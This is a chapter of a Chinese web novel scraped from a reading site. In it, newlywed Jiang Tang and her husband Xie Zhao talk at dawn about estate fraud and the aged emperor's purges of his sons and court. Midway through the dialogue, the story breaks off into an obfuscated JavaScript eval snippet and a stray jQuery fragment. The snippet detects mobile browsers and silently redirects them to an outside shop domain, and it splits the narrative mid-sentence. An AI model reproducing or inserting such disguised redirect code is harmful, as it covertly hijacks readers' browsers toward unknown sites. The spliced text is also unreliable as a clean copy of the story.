文趣网 > 其他小说 > 前夫好像要当皇帝了 > 24. 第二十四章
    许是昨儿睡了一天,姜棠今日醒得格外早,外间还黑着,不知道具体是什么时辰。

    她先闭眼感受了下自身。

    昨日的腹疼、腰疼和偶有的眩晕恶心之感都已经消失,只剩小腹隐隐坠痛依旧,这点若有似乎的痛感,跟第一日比,简直可以忽略不计。

    姜棠心情甚好得在床上伸了个懒腰,手臂伸出去没有传来任何阻挡。

    伸懒腰的动作停下,伸手在旁边一阵摸索。

    没人。

    掌下传来的温度是一夜未有人睡过的冰凉,不是早起,而是根本没来床上睡觉?

    姜棠穿鞋下床,取过床边圆几上的烛台,手持烛火在这莫名有些空旷的屋子里寻找谢肇的身影。

    虽说在这里只住了短短一段时日,但两人一直在屋里厮混,一直都有谢肇在自己身边,姜棠知道屋子大,但从没觉得空旷。

    她拢了拢衣襟,心里莫名得害怕还没升起,谢肇的声音已经从外面传来。

    “这么早就醒了?”

    微敞的房门被推开,谢肇踩着夜色进门,顺手将门前的两盏烛台点亮,昏黄的烛光驱散黑暗,也照亮了谢肇额前的薄汗。

    姜棠来到他的面前,看了一眼外面的天色,又下意识用烛台去照他的脸。

    “这才寅时过半,你这是,一宿没睡?”

    “对,没睡。”

    谢肇接过她手里的烛台,拥着她往里间走,下皱的眉心还带着几分焦躁,“南边庄子的人昨晚过来回帐了,愈发得不像样。”

    “这几年风调雨顺,偏他们不是暴雨就是旱灾的,拿我当傻子糊弄。”

    两人成亲还不到半月,姜棠没急着去详细询问谢肇的家业,左右这家里也没个婆母,这些东西日子长了,总能慢慢接触到的,实在不必过于心急。

    而且,自己也没学过管家理事,不擅长的东西,姜棠更不会贸然尝试。

    不过,姜棠心里总觉得有点不对劲。

    说话间两人已经来到小榻坐下,谢肇抬手给姜棠倒了一杯温水,她接过,温水下肚,有些迟钝的脑子也终于彻底清醒起来。

    “不对呀。”

    姜棠手肘撑在茶几上,看着对面正在低头点灯的谢肇。

    火折子燃起的火光将他的脸照耀得十分清晰,只是长睫垂落掩住了他眸中思绪,暖色摇曳中,看起来竟还有些岁月静好的模样。

    姜棠没急着说话,而是下榻去寻了手帕来,弯身为他拭去额间尚存的薄汗。

    谢肇半垂着眼帘由着她的动作,等她停下动作,他才抬眼看向她,是一如既往有些桀骜又有些痞气的笑。

    “自己身子都不舒坦,还费心照料我呢?”

    “我已经好了。”

    姜棠没理会他的打趣,又坐回了榻上,续上了刚才的问题。

    “咱们这边,个个都循规蹈矩做事,唯恐错了一点半点的,南边,那么嚣张呢?”

    “天高皇帝远,震慑不了那么远。”

    姜棠眨了眨眼,不敢想象人的胆子有这般大。

    “圣上都杀疯了,还震慑不了?”

    杀疯了。

    这三个字,就单纯是字面意思,没有任何其他意义。

    就是承安帝,杀疯了。

    因着金水镇毗邻京城,姜棠本人也十分擅长收集各种消息,主要承安帝也没想过隐瞒,所以京城的消息源源不断传来。

    承安帝如今已经年过七十,自从十年前永昭太子去世后,并未再次立储,圣人年迈,东宫之位空悬,已经长成的皇子们纷纷加入战场。

    而十年过去,东宫之位依旧空悬。

    那些太子去世后就浮出水面,参与夺嫡的皇子们呢?

    贬为庶民三人,夺爵圈禁五人,还有三人失了性命,几乎囊括了所有正式入朝的皇子,余下的就算大婚了,也死赖在书房不走,不敢入朝。

    全都是承安帝亲自下的令,包括杀子。

    皇子的下场都这么凄惨,跟着他们的人,更是只有一个下场。

    人头滚滚。

    后宫的高位嫔妃几乎没了,冷宫多了一殿又一殿,而六部的尚书们,除了兵书尚书是铁血保皇党一直□□外,其他人尚书们,撑过一年的都少有。

    上头的大人物们都这样了,就更别说他们的同党和追随者了,这十年里,承安一朝的大臣们,越位高权重者,死得越快。

    宗室也不安生,或是站位,或是生了让人嗤笑的野心跟着煽风点火,儿子都不曾留情,宗室还会顾虑?

    承安帝当然不会顾虑,这十年里,宗室至少被他清理了一半。

    总之,京城的事不是一个乱字就可以形容的,那菜市口的地,旧血未干新血就一层一层往上叠,地都黑了。

    “你小瞧了人的胆子。”

    谢肇抬手给自己倒了一杯冷茶,也不喝,半垂着眼帘握着杯盏在手里把玩,微勾的唇角是了然的讥讽。

    “京城越乱,他们就越会趁机敛财,大抵都是觉得,皇帝这会子没空搭理他们吧。”

    现在没空,以后还能没空了?

    姜棠下意识想要说出这句话,话到嘴边又咽了回去。

    人为财死鸟为食亡。

    圣上对皇子都没有半分留情,他们明明清楚却还是选择了这条胆大包天的路,那日后的结局也都是咎由自取。

    不过这些都是大人物的事,姜棠自觉和自家无关,她本想询问谢肇要怎么处理南边庄子的事,却没承想对面的谢肇冷不丁问了一句。

    “你觉得,皇帝是怎样的人?”

    “好人呀。”

    姜棠这脱口而出的三个字让谢肇瞬间抬眼看向她,有些不可思议地重复:“好人?”

    姜棠认真想了想,纠正了自己的措辞。

    “对百姓而言,圣上是好人。”

    “那些掉脑袋的都是大人物,百姓的生活并未

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801606|209705||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    受到多少影响,甚至那些不入大人物眼的小官们,只要不是自愿,被迫或是无辜牵连的,圣上查明后也放过了他们。”

    “而且我这些年平安长大,也是沾了圣人的光呀。”

    姜棠:“金水镇挨着京城,那边的人头掉一个,这边的治安就好上一分,这几年人人都遵纪守法,不敢越半分红线,莫说行凶作恶,就连路边的地痞流氓都几乎没了。”

    “若非如此,我也不敢一直在金水镇晃荡。”

    谢肇:……

    关他屁事。

    你这些年能一直在金水镇随意乱逛,我小爷我在帮你好不好?

    谢肇有些气闷,也没有主动邀功的心思,他竭力压下心里疯狂滋生的,对某人的憎恶,沉心去思考姜棠的话,再回忆这些年金水镇的一切。

    发现她说得是对的。

    上层权贵被他杀了一波又一波,还真没怎么波及到下方的平民百姓,甚至还因为一直抄家,不止国库丰盈,私库估计也满了。

    这些年一直在减免赋税,一减再减,就连徭役都不怎么从百姓中抽调了,全是罪奴。

    站在百姓的立场而言,承安帝确实是个好皇帝。

    谢肇还是气闷。

    他心头这口气愈发汹涌,仰头将在手中把玩许久的冷茶一饮而尽,凉茶入腹,凉意流淌过肺腑,恨意却依旧澎湃。

    “咚。”

    杯盏落在茶几发出一声清脆,谢肇的下一个问题也跟着问了出口。

    “那你觉得他是慈父吗?”

    姜棠:……

    她木然看着谢肇,微微抽搐的嘴角写满了无语二字。

    已经长成得皇子们几乎全军覆没。

    你问圣人是不是慈父?

    压根和这两字不沾边好吗,史官不记他杀子如麻就不错了。

    “咳。”

    谢肇也觉得问出这话的自己有点过于无理取闹了,他清了清嗓子,站起身来走到姜棠身边坐下,伸手虚抚着她的肚子,“不用担心,南边的事我心里有数,等过段时间就收网了。”

    “你肚子还疼不疼?”

    姜棠:“一点点,可以忍受。”

    “那饿不饿,要不要现在用早膳?”

    “不饿。”姜棠摇头,“这几日我都没什么胃口。”

    “那我现在去沐浴。”谢肇声音轻了许多,“你一会再陪我睡一会儿好不好?”

    “好。”

    姜棠温声答应了。

    谢肇笑了笑,俯身在她额前留了一吻,起身向着内间走去,脚刚踏出一步,手腕就被姜棠从身后拉住。

    同时她的声音也跟着响起。

    不是试探,不是胆怯,而是一种平静询问。

    “谢肇。”

    “你恨皇上?”

    声音很轻,却是平地惊雷一般在脑海中炸开,尤其是最后四个字。

    谢肇头颅震鸣耳内轰轰,僵在了原地。